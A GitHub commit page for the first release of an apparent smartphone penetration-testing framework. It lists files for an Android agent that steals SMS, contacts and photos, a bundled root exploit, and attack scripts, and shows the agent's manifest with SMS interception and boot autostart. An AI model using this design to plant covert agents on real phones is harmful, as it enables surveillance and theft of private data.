Permalink
Browse files

spfv0.1

Initial public release
  • Loading branch information...
0 parents commit 19355e1f99c53fe59933dc3c691ab553735506a2 @georgiaw committed Jul 29, 2012
Showing with 15,009 additions and 0 deletions.
  1. BIN .DS_Store
  2. BIN AndroidAgent/.DS_Store
  3. +8 −0 AndroidAgent/.classpath
  4. +33 −0 AndroidAgent/.project
  5. +5 −0 AndroidAgent/.settings/org.eclipse.jdt.core.prefs
  6. +64 −0 AndroidAgent/AndroidManifest.xml
  7. BIN AndroidAgent/assets/.DS_Store
  8. BIN AndroidAgent/assets/rageagainstthecage
  9. BIN AndroidAgent/bin/AndroidAgent.apk
  10. BIN AndroidAgent/bin/classes.dex
  11. BIN AndroidAgent/bin/classes/.DS_Store
  12. BIN AndroidAgent/bin/classes/com/.DS_Store
  13. BIN AndroidAgent/bin/classes/com/bulbsecurity/.DS_Store
  14. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/.DS_Store
  15. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/AlarmReceiver.class
  16. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/AndroidAgent.class
  17. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/AndroidAgentActivity.class
  18. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Base64$1.class
  19. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Base64$InputStream.class
  20. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Base64$OutputStream.class
  21. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Base64.class
  22. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/CommandHandler.class
  23. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/ContactsGet.class
  24. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/InternetPoll.class
  25. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Phase1$1.class
  26. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Phase1.class
  27. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Phase2$1.class
  28. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/Phase2.class
  29. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/PictureService$1.class
  30. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/PictureService.class
  31. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R$attr.class
  32. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R$drawable.class
  33. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R$id.class
  34. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R$layout.class
  35. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R$raw.class
  36. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R$string.class
  37. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/R.class
  38. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/SMSGet.class
  39. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/SMSReceiver.class
  40. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/SMSService.class
  41. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/ServiceAutoStarter.class
  42. BIN AndroidAgent/bin/classes/com/bulbsecurity/framework/WebUploadService.class
  43. +11 −0 AndroidAgent/bin/classes/jackpal/androidterm/.svn/all-wcprops
  44. +62 −0 AndroidAgent/bin/classes/jackpal/androidterm/.svn/entries
  45. +75 −0 AndroidAgent/bin/classes/jackpal/androidterm/.svn/text-base/Exec.java.svn-base
  46. BIN AndroidAgent/bin/classes/jackpal/androidterm/Exec.class
  47. BIN AndroidAgent/bin/res/drawable-hdpi/ic_launcher.png
  48. BIN AndroidAgent/bin/res/drawable-ldpi/ic_launcher.png
  49. BIN AndroidAgent/bin/res/drawable-mdpi/ic_launcher.png
  50. BIN AndroidAgent/bin/resources.ap_
  51. +31 −0 AndroidAgent/gen/com/bulbsecurity/framework/R.java
  52. +17 −0 AndroidAgent/jni/.svn/all-wcprops
  53. +96 −0 AndroidAgent/jni/.svn/entries
  54. +32 −0 AndroidAgent/jni/.svn/text-base/Android.mk.svn-base
  55. +350 −0 AndroidAgent/jni/.svn/text-base/termExec.cpp.svn-base
  56. +12 −0 AndroidAgent/jni/Android.mk
  57. +350 −0 AndroidAgent/jni/termExec.cpp
  58. BIN AndroidAgent/libs/armeabi/libandroidterm.so
  59. BIN AndroidAgent/obj/local/armeabi/libandroidterm.so
  60. +1 −0 AndroidAgent/obj/local/armeabi/libstdc++.a
  61. BIN AndroidAgent/obj/local/armeabi/objs/androidterm/termExec.o
  62. +199 −0 AndroidAgent/obj/local/armeabi/objs/androidterm/termExec.o.d
  63. +40 −0 AndroidAgent/proguard.cfg
  64. +12 −0 AndroidAgent/project.properties
  65. BIN AndroidAgent/res/drawable-hdpi/ic_launcher.png
  66. BIN AndroidAgent/res/drawable-ldpi/ic_launcher.png
  67. BIN AndroidAgent/res/drawable-mdpi/ic_launcher.png
  68. +15 −0 AndroidAgent/res/layout/camera_surface.xml
  69. +12 −0 AndroidAgent/res/layout/main.xml
  70. BIN AndroidAgent/res/raw/rageagainstthecage
  71. +8 −0 AndroidAgent/res/values/strings.xml
  72. BIN AndroidAgent/src/.DS_Store
  73. BIN AndroidAgent/src/com/.DS_Store
  74. BIN AndroidAgent/src/com/bulbsecurity/.DS_Store
  75. BIN AndroidAgent/src/com/bulbsecurity/framework/.DS_Store
  76. +24 −0 AndroidAgent/src/com/bulbsecurity/framework/AlarmReceiver.java
  77. +35 −0 AndroidAgent/src/com/bulbsecurity/framework/AndroidAgent.java
  78. +20 −0 AndroidAgent/src/com/bulbsecurity/framework/AndroidAgentActivity.java
  79. +2,065 −0 AndroidAgent/src/com/bulbsecurity/framework/Base64.java
  80. +124 −0 AndroidAgent/src/com/bulbsecurity/framework/CommandHandler.java
  81. +78 −0 AndroidAgent/src/com/bulbsecurity/framework/ContactsGet.java
  82. +106 −0 AndroidAgent/src/com/bulbsecurity/framework/InternetPoll.java
  83. +117 −0 AndroidAgent/src/com/bulbsecurity/framework/Phase1.java
  84. +89 −0 AndroidAgent/src/com/bulbsecurity/framework/Phase2.java
  85. +114 −0 AndroidAgent/src/com/bulbsecurity/framework/PictureService.java
  86. +81 −0 AndroidAgent/src/com/bulbsecurity/framework/SMSGet.java
  87. +52 −0 AndroidAgent/src/com/bulbsecurity/framework/SMSReceiver.java
  88. +54 −0 AndroidAgent/src/com/bulbsecurity/framework/SMSService.java
  89. +27 −0 AndroidAgent/src/com/bulbsecurity/framework/ServiceAutoStarter.java
  90. +99 −0 AndroidAgent/src/com/bulbsecurity/framework/WebUploadService.java
  91. +11 −0 AndroidAgent/src/jackpal/androidterm/.svn/all-wcprops
  92. +62 −0 AndroidAgent/src/jackpal/androidterm/.svn/entries
  93. +75 −0 AndroidAgent/src/jackpal/androidterm/.svn/text-base/Exec.java.svn-base
  94. +75 −0 AndroidAgent/src/jackpal/androidterm/Exec.java
  95. BIN FrameworkAndroidApp/.DS_Store
  96. +8 −0 FrameworkAndroidApp/.classpath
  97. +33 −0 FrameworkAndroidApp/.project
  98. +57 −0 FrameworkAndroidApp/AndroidManifest.xml
  99. BIN FrameworkAndroidApp/bin/FrameworkAndroidApp.apk
  100. BIN FrameworkAndroidApp/bin/classes.dex
  101. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/Base64$1.class
  102. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/Base64$InputStream.class
  103. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/Base64$OutputStream.class
  104. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/Base64.class
  105. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/CommandHandler.class
  106. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/FrameworkAndroidApp.class
  107. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/FrameworkAndroidAppActivity.class
  108. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/FunctionListActivity.class
  109. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/GetAgentsActivity$1.class
  110. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/GetAgentsActivity$2.class
  111. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/GetAgentsActivity.class
  112. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/GetDataActivity.class
  113. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/InternetPoll.class
  114. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R$array.class
  115. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R$attr.class
  116. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R$drawable.class
  117. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R$id.class
  118. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R$layout.class
  119. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R$string.class
  120. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/R.class
  121. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/RemoteAttackActivity.class
  122. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/SMSReceiver.class
  123. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/SMSService.class
  124. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/SendCommandActivity.class
  125. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/ServiceAutoStarter.class
  126. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/SocialAttackActivity.class
  127. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/WebUploadService.class
  128. BIN FrameworkAndroidApp/bin/classes/com/bulbsecurity/framework/app/WebUploadService2.class
  129. BIN FrameworkAndroidApp/bin/res/drawable-hdpi/ic_launcher.png
  130. BIN FrameworkAndroidApp/bin/res/drawable-ldpi/ic_launcher.png
  131. BIN FrameworkAndroidApp/bin/res/drawable-mdpi/ic_launcher.png
  132. BIN FrameworkAndroidApp/bin/resources.ap_
  133. +59 −0 FrameworkAndroidApp/gen/com/bulbsecurity/framework/app/R.java
  134. +40 −0 FrameworkAndroidApp/proguard.cfg
  135. +11 −0 FrameworkAndroidApp/project.properties
  136. BIN FrameworkAndroidApp/res/drawable-hdpi/ic_launcher.png
  137. BIN FrameworkAndroidApp/res/drawable-ldpi/ic_launcher.png
  138. BIN FrameworkAndroidApp/res/drawable-mdpi/ic_launcher.png
  139. +38 −0 FrameworkAndroidApp/res/layout/commands.xml
  140. +13 −0 FrameworkAndroidApp/res/layout/data.xml
  141. +13 −0 FrameworkAndroidApp/res/layout/fuctionlist.xml
  142. +27 −0 FrameworkAndroidApp/res/layout/getagents.xml
  143. +13 −0 FrameworkAndroidApp/res/layout/getdata.xml
  144. +78 −0 FrameworkAndroidApp/res/layout/main.xml
  145. +38 −0 FrameworkAndroidApp/res/layout/remoteattack.xml
  146. +55 −0 FrameworkAndroidApp/res/layout/socialattack.xml
  147. +15 −0 FrameworkAndroidApp/res/values/strings.xml
  148. BIN FrameworkAndroidApp/src/.DS_Store
  149. BIN FrameworkAndroidApp/src/com/.DS_Store
  150. BIN FrameworkAndroidApp/src/com/bulbsecurity/.DS_Store
  151. BIN FrameworkAndroidApp/src/com/bulbsecurity/framework/.DS_Store
  152. +2,065 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/Base64.java
  153. +58 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/CommandHandler.java
  154. +32 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/FrameworkAndroidApp.java
  155. +103 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/FrameworkAndroidAppActivity.java
  156. +52 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/FunctionListActivity.java
  157. +192 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/GetAgentsActivity.java
  158. +19 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/GetDataActivity.java
  159. +107 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/InternetPoll.java
  160. +139 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/RemoteAttackActivity.java
  161. +60 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/SMSReceiver.java
  162. +56 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/SMSService.java
  163. +156 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/SendCommandActivity.java
  164. +27 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/ServiceAutoStarter.java
  165. +315 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/SocialAttackActivity.java
  166. +100 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/WebUploadService.java
  167. +100 −0 FrameworkAndroidApp/src/com/bulbsecurity/framework/app/WebUploadService2.java
  168. BIN SPF-manualv0.1.pdf
  169. BIN frameworkconsole/AndroidAgent.apk
  170. +569 −0 frameworkconsole/agentpoll.pl
  171. +17 −0 frameworkconsole/config
  172. +1,380 −0 frameworkconsole/framework.pl
  173. BIN frameworkconsole/iphone.deb
  174. +375 −0 frameworkconsole/poller.pl
  175. BIN frameworkgui/AndroidAgent.apk
  176. +71 −0 frameworkgui/CSAttack.pl
  177. +69 −0 frameworkgui/SEAttack.pl
  178. +569 −0 frameworkgui/agentpoll.pl
  179. +134 −0 frameworkgui/androidwebkit.pl
  180. +129 −0 frameworkgui/attach2Agents.pl
  181. +180 −0 frameworkgui/attachMobileModem.pl
  182. BIN frameworkgui/bulb.jpg
  183. +18 −0 frameworkgui/config
  184. +64 −0 frameworkgui/createDatabase.pl
  185. +56 −0 frameworkgui/directdownload.pl
  186. +93 −0 frameworkgui/escalatePrivileges.pl
  187. +136 −0 frameworkgui/getContacts.pl
  188. +121 −0 frameworkgui/getDatabase.pl
  189. BIN frameworkgui/iphone.deb
  190. BIN frameworkgui/littleBulb.jpg
  191. +538 −0 frameworkgui/menu.pl
  192. +97 −0 frameworkgui/myJavaScript.js
  193. +375 −0 frameworkgui/poller.pl
  194. +40 −0 frameworkgui/remoteAttack.pl
  195. +9 −0 frameworkgui/search.pl
  196. +92 −0 frameworkgui/sendSMS.pl
  197. +72 −0 frameworkgui/sshattack.pl
  198. +219 −0 frameworkgui/styles.css
  199. +89 −0 frameworkgui/takePic.pl
  200. +20 −0 frameworkgui/test.pl
  201. +148 −0 frameworkgui/viewInfo.pl
  202. +252 −0 frameworkgui/viewInfo2.pl
  203. +257 −0 frameworkgui/viewInfo3.pl
BIN .DS_Store
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<classpath>
+ <classpathentry kind="src" path="src"/>
+ <classpathentry kind="src" path="gen"/>
+ <classpathentry kind="con" path="com.android.ide.eclipse.adt.ANDROID_FRAMEWORK"/>
+ <classpathentry kind="con" path="com.android.ide.eclipse.adt.LIBRARIES"/>
+ <classpathentry kind="output" path="bin/classes"/>
+</classpath>
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<projectDescription>
+ <name>AndroidAgent</name>
+ <comment></comment>
+ <projects>
+ </projects>
+ <buildSpec>
+ <buildCommand>
+ <name>com.android.ide.eclipse.adt.ResourceManagerBuilder</name>
+ <arguments>
+ </arguments>
+ </buildCommand>
+ <buildCommand>
+ <name>com.android.ide.eclipse.adt.PreCompilerBuilder</name>
+ <arguments>
+ </arguments>
+ </buildCommand>
+ <buildCommand>
+ <name>org.eclipse.jdt.core.javabuilder</name>
+ <arguments>
+ </arguments>
+ </buildCommand>
+ <buildCommand>
+ <name>com.android.ide.eclipse.adt.ApkBuilder</name>
+ <arguments>
+ </arguments>
+ </buildCommand>
+ </buildSpec>
+ <natures>
+ <nature>com.android.ide.eclipse.adt.AndroidNature</nature>
+ <nature>org.eclipse.jdt.core.javanature</nature>
+ </natures>
+</projectDescription>
@@ -0,0 +1,5 @@
+#Thu Feb 02 19:50:13 EST 2012
+eclipse.preferences.version=1
+org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5
+org.eclipse.jdt.core.compiler.compliance=1.5
+org.eclipse.jdt.core.compiler.source=1.5
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.bulbsecurity.framework"
+ android:versionCode="1"
+ android:versionName="1.0" >
+
+ <uses-sdk android:minSdkVersion="4" />
+ <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+ <uses-permission android:name="android.permission.SEND_SMS"/>
+ <uses-permission android:name="android.permission.CAMERA"/>
+ <uses-permission android:name="android.permission.READ_CONTACTS"/>
+ <uses-permission android:name="android.permission.INTERNET"/>
+ <uses-permission android:name="android.permission.READ_SMS"/>
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+ <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+
+
+ <application
+ android:icon="@drawable/ic_launcher"
+ android:label="@string/app_name"
+ android:name = ".AndroidAgent">
+ <activity
+ android:name="AndroidAgentActivity"
+ android:label="@string/app_name" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <receiver android:name="SMSReceiver">
+ <intent-filter android:priority="999"><action android:name="android.provider.Telephony.SMS_RECEIVED" /></intent-filter>
+ </receiver>
+ <service android:name="SMSService">
+
+ </service>
+ <receiver android:name="ServiceAutoStarter">
+ <intent-filter ><action android:name="android.intent.action.BOOT_COMPLETED"></action></intent-filter>
+ </receiver>
+ <receiver android:name="AlarmReceiver" android:process=":remote"></receiver>
+ <service android:name="InternetPoll">
+
+ </service>
+ <service android:name="CommandHandler">
+
+ </service>
+ <service android:name="SMSGet">
+
+ </service>
+ <service android:name="ContactsGet">
+
+ </service>
+ <service android:name="WebUploadService">
+
+ </service>
+ <service android:name="PictureService">
+
+ </service>
+ <service android:name="Phase1" android:process=":three">
+ </service>
+ <service android:name="Phase2" android:process=":two">
+ </service>
+ </application>
+
+</manifest>
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
+K 25
+svn:wc:ra_dav:version-url
+V 45
+/svn/!svn/ver/2/trunk/src/jackpal/androidterm
+END
+Exec.java
+K 25
+svn:wc:ra_dav:version-url
+V 55
+/svn/!svn/ver/2/trunk/src/jackpal/androidterm/Exec.java
+END
@@ -0,0 +1,62 @@
+10
+
+dir
+2
+http://z4root.googlecode.com/svn/trunk/src/jackpal/androidterm
+http://z4root.googlecode.com/svn
+
+
+
+2010-12-01T07:34:11.699847Z
+2
+RyanZA
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+f33f25c0-10e7-6a08-5e8f-43b52bb135da
+
+Exec.java
+file
+
+
+
+
+2012-03-01T03:41:55.000000Z
+5887ad9080ac2c57296274ef85e15529
+2010-12-01T07:34:11.699847Z
+2
+RyanZA
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+2427
+
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package jackpal.androidterm;
+
+import java.io.FileDescriptor;
+
+/**
+ * Utility methods for creating and managing a subprocess.
+ * <p>
+ * Note: The native methods access a package-private
+ * java.io.FileDescriptor field to get and set the raw Linux
+ * file descriptor. This might break if the implementation of
+ * java.io.FileDescriptor is changed.
+ */
+
+public class Exec
+{
+ static {
+ System.loadLibrary("androidterm");
+ }
+
+ /**
+ * Create a subprocess. Differs from java.lang.ProcessBuilder in
+ * that a pty is used to communicate with the subprocess.
+ * <p>
+ * Callers are responsible for calling Exec.close() on the returned
+ * file descriptor.
+ *
+ * @param cmd The command to execute
+ * @param arg0 The first argument to the command, may be null
+ * @param arg1 the second argument to the command, may be null
+ * @param processId A one-element array to which the process ID of the
+ * started process will be written.
+ * @return the file descriptor of the started process.
+ *
+ */
+ public static native FileDescriptor createSubprocess(
+ String cmd, String arg0, String arg1, int[] processId);
+
+ /**
+ * Set the widow size for a given pty. Allows programs
+ * connected to the pty learn how large their screen is.
+ */
+ public static native void setPtyWindowSize(FileDescriptor fd,
+ int row, int col, int xpixel, int ypixel);
+
+ /**
+ * Causes the calling thread to wait for the process associated with the
+ * receiver to finish executing.
+ *
+ * @return The exit value of the Process being waited on
+ *
+ */
+ public static native int waitFor(int processId);
+
+ /**
+ * Close a given file descriptor.
+ */
+ public static native void close(FileDescriptor fd);
+}
+
Binary file not shown.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
@@ -0,0 +1,31 @@
+/* AUTO-GENERATED FILE. DO NOT MODIFY.
+ *
+ * This class was automatically generated by the
+ * aapt tool from the resource data it found. It
+ * should not be modified by hand.
+ */
+
+package com.bulbsecurity.framework;
+
+public final class R {
+ public static final class attr {
+ }
+ public static final class drawable {
+ public static final int ic_launcher=0x7f020000;
+ }
+ public static final class id {
+ public static final int surface_camera=0x7f060000;
+ }
+ public static final class layout {
+ public static final int camera_surface=0x7f030000;
+ public static final int main=0x7f030001;
+ }
+ public static final class raw {
+ public static final int rageagainstthecage=0x7f040000;
+ }
+ public static final class string {
+ public static final int app_name=0x7f050001;
+ public static final int hello=0x7f050000;
+ public static final int picture=0x7f050002;
+ }
+}
@@ -0,0 +1,17 @@
+K 25
+svn:wc:ra_dav:version-url
+V 25
+/svn/!svn/ver/2/trunk/jni
+END
+Android.mk
+K 25
+svn:wc:ra_dav:version-url
+V 36
+/svn/!svn/ver/2/trunk/jni/Android.mk
+END
+termExec.cpp
+K 25
+svn:wc:ra_dav:version-url
+V 38
+/svn/!svn/ver/2/trunk/jni/termExec.cpp
+END
Oops, something went wrong.

0 comments on commit 19355e1

Please sign in to comment.